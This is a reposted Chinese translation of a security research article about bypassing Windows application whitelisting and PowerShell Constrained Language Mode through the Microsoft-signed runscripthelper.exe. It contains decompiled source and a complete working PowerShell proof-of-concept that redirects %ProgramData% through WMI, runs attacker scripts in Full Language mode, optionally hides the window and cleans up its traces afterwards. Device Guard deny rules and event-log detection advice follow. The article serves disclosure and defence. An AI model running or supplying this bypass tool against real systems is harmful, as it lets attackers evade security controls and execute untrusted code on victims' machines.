安全路透社
当前位置:安全路透社 > 网络转载 > 正文

如何使用runscripthelper.exe绕过应用的白名单机制

如何使用runscripthelper.exe绕过应用的白名单机制

介绍

在学习Specterops的PowerShell课程时,我在System32-runscripthelper.exe中发现了一个微软签名的PowerShell宿主进程。微软在Windows10 RS3中引入了这个程序,它的作用是从一个特定目录中读取并执行PowerShell代码。但是它执行PowerShell代码的方式也有相应的副作用,而我们就可以把它当作一种绕过受限语言模式(Constrained LanguageMode)的方法来使用了(例如绕过通用的应用程序白名单机制)。

下面给出的是runscripthelper.exe的反编译后的入口方法:

private static int Main(string[] args)

{

         try

         {

                   if(args.Length != 3)

                   {

                            thrownew Exception("Invalid command line");

                   }

                   stringtext = args[0];

                   stringtext2 = args[1];

                   stringtext3 = args[2];

                   if(string.IsNullOrEmpty(text2) || string.IsNullOrEmpty(text2) ||string.IsNullOrEmpty(text3))

                   {

                            thrownew Exception("Invalid args");

                   }

                   if(!Program.k_scriptSet.Contains(text))

                   {

                            thrownew Exception("Unknown script");

                   }

                   stringtext4 = Environment.ExpandEnvironmentVariables(Program.k_utcScriptPath);

                   if(text2.Length <= text4.Length || !text4.Equals(text2.Substring(0,text4.Length), StringComparison.OrdinalIgnoreCase))

                   {

                            thrownew Exception("Unknown script path: " + text2);

                   }

                   text2= Program.GetShortPath(text2);

                   text3= Program.GetShortPath(text3);

                   if(text.CompareTo("surfacecheck") == 0)

                   {

                            SurfaceCheckProcessor.ProcessSurfaceCheckScript(text2,text3);

                   }

         }

         catch(Exception ex)

         {

                   Console.WriteLine("Exceptionoccurred: " + ex.Message);

                   Console.WriteLine("InnerException: " + ex.InnerException);

                   return-1;

         }

         return0;

}

你可以看到,该程序可以接受三个命令行参数:

1.      为了执行ProcessSurfaceCheckScript方法,参数#1必须传入“surfacecheck”,而该方法负责传递第二和第三个命令行参数。

2.      参数#2由一个脚本的完整路径组成,之后会与“ k_utcScriptPath“进行对比,全局变量: \\?\%ProgramData%\Microsoft\Diagnosis\scripts

3.      参数#3是一个现有目录的地址,命令行输出数据会保存个目录之中。

因此,该程序应该只能限制于运行%ProgramData%\Microsoft\Diagnosis\scripts目录中的脚本。默认配置下,标准用户是没有这个目录的写入权限的。而在理想情况下,我想要使用非特权用户的身份来绕过这种机制。因此,当runscripthelper.exe开始运行时,如果我有办法能够控制%ProgramData%中的内容,我就可以让该程序运行其他目录下的脚本了。但是现在,我们得先分析一下ProcessSurfaceCheckScript,看看它会执行什么:

public static voidProcessSurfaceCheckScript(string scriptPath, string outputPath)

{

         if(!File.Exists(scriptPath))

         {

                   thrownew Exception("Script does not exist");

         }

         if(!Directory.Exists(outputPath))

         {

                   thrownew Exception("Output path does not exist");

         }

         PowerShellpowerShell = PowerShell.Create();

         powerShell.AddScript("Set-ExecutionPolicy-Scope Process unrestricted");

         powerShell.AddScript("$InvokedFromUIF= $true");

         powerShell.AddScript("$FailureText= \"UIF\"");

         powerShell.AddScript("$ScriptPath= \"" + Path.GetDirectoryName(scriptPath) + "\"");

         powerShell.AddScript("$LogDir= \"" + outputPath + "\"");

         SurfaceCheckProcessor.ReadCmdlets(powerShell,scriptPath);

         stringscript = File.ReadAllText(scriptPath);

         powerShell.AddScript(script);

         powerShell.Invoke();

         if(powerShell.HadErrors)

         {

                   foreach(ErrorRecord current in powerShell.Streams.Error)

                   {

                            Console.WriteLine("Error:" + current);

                            Console.WriteLine("Exception:" + current.Exception);

                            Console.WriteLine("InnerException: " + current.Exception.InnerException);

                   }

         }

}

从代码的字面意思来看,ProcessSurfaceCheckScript方法所做的就是读取脚本内容并执行它。根据微软所制定的安全规则,对于运行了AppLocker或Device Guard(Windows Defeder)的系统来说,这个程序很可能被列于白名单之中,而这个进程所执行的任意PowerShell代码都可以在完整语言模式下运行。

攻击实现

站在攻击者的角度,我们需要控制%ProgramData%的内容并让其指向一个我们所能控制的目录。其实我们有很多方法来实现这一点,我第一反应想到的是在Win32_ProcessStartup类中设置环境变量属性,然后调用Win32_ProcessCreate。除此之外,WMI也提供了相关的远程调用,而且有一些WMI主机应用是不会被应用白名单策略屏蔽的。

为了控制传递给runscripthelper.exe的环境变量,我们可以通过下面给出的命令来执行我们的Payload:

runscripthelper.exe surfacecheck\\?\C:\Test\Microsoft\Diagnosis\scripts\test.txt C:\Test

下面给出的是绕过技术的完整实现代码:

function Invoke-RunScriptHelperExpression {

<#

.SYNOPSIS

Executes PowerShell code in full languagemode in the context of runscripthelper.exe.

.DESCRIPTION

Invoke-RunScriptHelperExpression executesPowerShell code in the context of runscripthelper.exe - a Windows-signedPowerShell host application which appears to be used for telemetry collectionpurposes. The PowerShell code supplied will run in FullLanguage mode and bypassconstrained language mode.

Author: Matthew Graeber (@mattifestation)

License: BSD 3-Clause

.PARAMETER ScriptBlock

Specifies the PowerShell code to execute inthe context of runscripthelper.exe

.PARAMETER RootDirectory

Specifies the root directory where the"Microsoft\Diagnosis\scripts" directory structure will be created.-RootDirectory defaults to the current directory.

.PARAMETER ScriptFileName

Specifies the name of the PowerShell scriptto be executed. The script file can be any file extension. -ScriptFileNamedefaults to test.txt.

.PARAMETER HideWindow

Because Invoke-RunScriptHelperExpressionlaunches a child process in a new window (due to how Win32_Process.Createworks), -HideWindow launches a hidden window.

.EXAMPLE

$Payload = {

    #Since this is running inside a console app,

    #you need the Console class to write to the screen.

   [Console]::WriteLine('Hello, world!')

   $LanguageMode = $ExecutionContext.SessionState.LanguageMode

   [Console]::WriteLine("My current language mode:$LanguageMode")

    #Trick to keep the console window up

   $null = [Console]::ReadKey()

}

Invoke-RunScriptHelperExpression-ScriptBlock $Payload

.OUTPUTS

System.Diagnostics.Process

Outputs a process object forrunscripthelper.exe. This is useful if it later needs to be killed manuallywith Stop-Process.

#>

 

   [CmdletBinding()]

   [OutputType([System.Diagnostics.Process])]

   param (

        [Parameter(Mandatory = $True)]

       [ScriptBlock]

       $ScriptBlock,

 

       [String]

       [ValidateNotNullOrEmpty()]

       $RootDirectory = $PWD,

 

       [String]

       [ValidateNotNullOrEmpty()]

       $ScriptFileName = 'test.txt',

 

       [Switch]

       $HideWindow

    )

 

   $RunscriptHelperPath ="$Env:windir\System32\runscripthelper.exe"

 

    #Validate that runscripthelper.exe is present

   $null = Get-Item -Path $RunscriptHelperPath -ErrorAction Stop

 

    #Optional: Since not all systems will have runscripthelper.exe, you couldcompress and

    #encode the binary here and then drop it. That's up to you. This is just a PoC.

 

   $ScriptDirFullPath = Join-Path -Path (Resolve-Path -Path $RootDirectory)-ChildPath 'Microsoft\Diagnosis\scripts'

 

   Write-Verbose "Script will be saved to: $ScriptDirFullPath"

 

    #Create the directory path expected by runscripthelper.exe

   if (-not (Test-Path -Path $ScriptDirFullPath)) {

       $ScriptDir = mkdir -Path $ScriptDirFullPath -ErrorAction Stop

    }else {

       $ScriptDir = Get-Item -Path $ScriptDirFullPath -ErrorAction Stop

    }

 

   $ScriptFullPath = "$ScriptDirFullPath\$ScriptFileName"

 

    #Write the payload to disk - a requirement of runscripthelper.exe

   Out-File -InputObject $ScriptBlock.ToString() -FilePath $ScriptFullPath-Force

 

   $CustomProgramFiles = "ProgramData=$(Resolve-Path -Path$RootDirectory)"

   Write-Verbose "Using the following for %ProgramData%:$CustomProgramFiles"

 

    #Gather up all existing environment variables except %ProgramData%. We're goingto supply our own, attacker controlled path.

   [String[]] $AllEnvVarsExceptLockdownPolicy = Get-ChildItem Env:\*-Exclude 'ProgramData' | % { "$($_.Name)=$($_.Value)" }

   

    #Attacker-controlled %ProgramData% being passed to the child process.

   $AllEnvVarsExceptLockdownPolicy += $CustomProgramFiles

 

    #These are all the environment variables that will be explicitly passed on torunscripthelper.exe

   $StartParamProperties = @{ EnvironmentVariables =$AllEnvVarsExceptLockdownPolicy }

 

   $Hidden = [UInt16] 0

   if ($HideWindow) { $StartParamProperties['ShowWindow'] = $Hidden }

 

   $StartParams = New-CimInstance -ClassName Win32_ProcessStartup-ClientOnly -Property $StartParamProperties

 

   $RunscriptHelperCmdline = "$RunscriptHelperPath surfacecheck\\?\$ScriptFullPath $ScriptDirFullPath"

   Write-Verbose "Invoking the following command:$RunscriptHelperCmdline"

 

    #Give runscripthelper.exe what it needs to execute our malicious PowerShell.

   $Result = Invoke-CimMethod -ClassName Win32_Process -MethodName Create-Arguments @{

       CommandLine = $RunscriptHelperCmdline

       ProcessStartupInformation = $StartParams

    }

 

   if ($Result.ReturnValue -ne 0) {

       throw "Failed to start runscripthelper.exe"

       return

    }

 

   $Process = Get-Process -Id $Result.ProcessId

 

   $Process

 

    #When runscripthelper.exe exits, clean up the script and the directories.

    #I'm using proper eventing here because if you immediately delete the scriptfrom

    #disk then it will be gone before runscripthelper.exe has an opportunity toexecute it.

   $Event = Register-ObjectEvent -InputObject $Process -EventName Exited -SourceIdentifier'RunscripthelperStopped' -MessageData "$RootDirectory\Microsoft"-Action {

       Remove-Item -Path $Event.MessageData -Recurse -Force

       Unregister-Event -SourceIdentifier $EventSubscriber.SourceIdentifier

    }

}

为了证明我们同样能够在不使用PowerShell的情况下实现白名单绕过,下面给出一个使用Wbemtest.exe实现绕过的演示

观看视频

在上面这个演示视频中,我的Payload存储在C:\Test\Microsoft\Diagnosis\scripts\test.txt中。我还提供了以下环境变量:

“LOCALAPPDATA=C:\\Test”

“Path=C:\\WINDOWS\\system32;C:\\WINDOWS”

“SystemRoot=C:\\WINDOWS”

“SESSIONNAME=Console”

“CommonProgramFiles=C:\\Program Files\\Common Files”

“SystemDrive=C:”

“TEMP=C:\\Test”

“ProgramFiles=C:\\Program Files”

“TMP=C:\\Test”

“windir=C:\\WINDOWS”

“ProgramData=C:\\Test”

缓解方案

如果使用Device Guard的话,你可以通过向现存策略中整合下列规则来屏蔽攻击代码【参考资料】:

<?xml version="1.0"encoding="utf-8"?>

<SiPolicyxmlns="urn:schemas-microsoft-com:sipolicy">

 <VersionEx>10.0.0.0</VersionEx>

 <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>

 <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>

 <Rules>

   <Rule>

     <Option>Enabled:Unsigned System Integrity Policy</Option>

   </Rule>

 </Rules>

 <!--EKUS-->

 <EKUs />

 <!--File Rules-->

 <FileRules>

   <Deny ID="ID_DENY_D_1"FriendlyName="runscripthelper.exe FileRule"FileName="runscripthelper.exe"MinimumFileVersion="65535.65535.65535.65535" />

 </FileRules>

 <!--Signers-->

 <Signers />

  <!--Driver Signing Scenarios-->

 <SigningScenarios>

   <SigningScenario Value="12"ID="ID_SIGNINGSCENARIO_WINDOWS"FriendlyName="runscripthelper.exe bypass mitigation">

     <ProductSigners>

       <FileRulesRef>

         <FileRuleRef RuleID="ID_DENY_D_1" />

       </FileRulesRef>

     </ProductSigners>

   </SigningScenario>

 </SigningScenarios>

 <UpdatePolicySigners />

 <CiSigners />

 <HvciOptions>0</HvciOptions>

</SiPolicy>

检测方法

通过runscripthelper.exe执行PowerShell代码会生成脚本快日志,并且还会生成相应的4014事件

如何使用runscripthelper.exe绕过应用的白名单机制

除此之外,”Windows PowerShell”事件日志中的事件ID 400将会捕捉到runscripthelper.exe的命令行信息。

如何使用runscripthelper.exe绕过应用的白名单机制

总结

本文所介绍的技术可以利用已签名的应用程序来执行任何类型的代码,而这也给现有的应用程序白名单机制带来了不小的安全挑战。除此之外,这种技术也是攻击者非常喜欢使用的,因为他们可以利用系统中受信任的应用来运行自己的恶意代码,因此微软是时候好好考虑怎么更新他们的应用白名单机制了。

* 参考来源:specterops,FB小编Alpha_h4ck编译

未经允许不得转载:安全路透社 » 如何使用runscripthelper.exe绕过应用的白名单机制

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册